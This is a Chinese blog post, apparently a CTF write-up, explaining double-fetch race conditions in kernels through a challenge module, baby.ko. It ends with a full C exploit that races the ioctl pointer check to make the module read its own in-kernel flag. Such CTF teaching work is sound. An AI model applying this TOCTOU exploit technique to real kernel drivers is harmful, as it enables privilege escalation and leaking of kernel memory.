👨要肝不动了
其实手法原理很简单 就是条件竞争
Double Fetch
直译过来就是取值两次 在编程中其实就是对同一个地址取值两次 例如第一次进行校验 第二次进行计算什么的 是一种有点呆 但是很常见的编程手法 Double Fetch
在内核与用户态交互中主要在以下情况中出现
用户向内核传送数据 但是因为数据总量太大 导致只能传入一个指针 然后后续内核多次通过该指针访问用户态的数据
举一个比较实际的例子 用户态向内核传入指向秘钥的指针 内核需要首先校验秘钥合法性 然后再校验秘钥是否正确 这个逻辑实际上是很正确的 毕竟不合法的秘钥就一定不正确对吧
但是有一个很大的问题是 内核收到的是用户态的指针 对于用户态我们自己编写的程序来说 我们可以任意修改其内存中的内容并且可以很轻易的创造多个线程 那么如果在传入密钥后那一刹那 我们修改指针内的值实际上是有机会修改程序流向的 这里我们可以借用CTF Wiki
上的一张图 来说明
很干净
解压文件系统后抓到baby.ko
直接看baby_ioctl
吧
从控制代码0x1337的部分可以看出 传入的是一个结构体 大致结构为
cstruct flag
{
size_t flag;
size_t length;
/* data */
};
首先是进行了两次_chk_range_not_ok
校验 其中a1为flag指针 a2为flag长度 a3为current_task的地址+0x1358
__CFADD__
为获取到a1+a2
的CF寄存器的值 CF寄存器的作用是用来检测是否存在进位的 显然只要我们传入的flag指针只要不是0xffffffffffffffff
附近的数字 一般都不会产生进位
最为重要的就是a3和v4的比较 这里我们需要进行调试看一下¤t_task+0x1358
到底是哪里
可以看到是0x7ffffffff000
而这个数字其实很熟悉 就是用户态栈下限 众所周知 用户栈向下生长 即我们传入的指针是用户栈内的指针即可
在控制代码0x1337内首先是进行了传入的flag指针的合法性检验 然后针对flag进行逐位匹配 其中flag地址通过控制代码0x6666内核会printk
给我们 那么我们完全可以利用条件竞争 先传入一个合法的flag指针 然后生成一个恶意进程 不断改写flag
指针指向内核中的flag地址 如果凑巧的话 我们可以在通过合法性检查的同时 修改flag指针指向内核flag地址 然后逐位匹配成功
c#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
struct flag
{
size_t flag;
size_t length;
/* data */
};
struct flag data;
void competitionThread(size_t flag_addr)
{
while (1)
{
data.flag=flag_addr;
}
}
int main(void)
{
pthread_t compete_thread;
int fd=open("/dev/baby",0);
ioctl(fd,0x6666,&data);
size_t flag_addr;
scanf("%p",&flag_addr);
void* fake_flag=malloc(0x100);
pthread_create(&compete_thread,NULL,competitionThread,flag_addr);
int i;
for(i=0;i<1000;i++)
{
data.flag=(size_t)fake_flag;
data.length=33;
ioctl(fd,0x1337,&data);
}
pthread_cancel(compete_thread);
system("dmesg | grep flag");
}
本文作者:Du4t
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!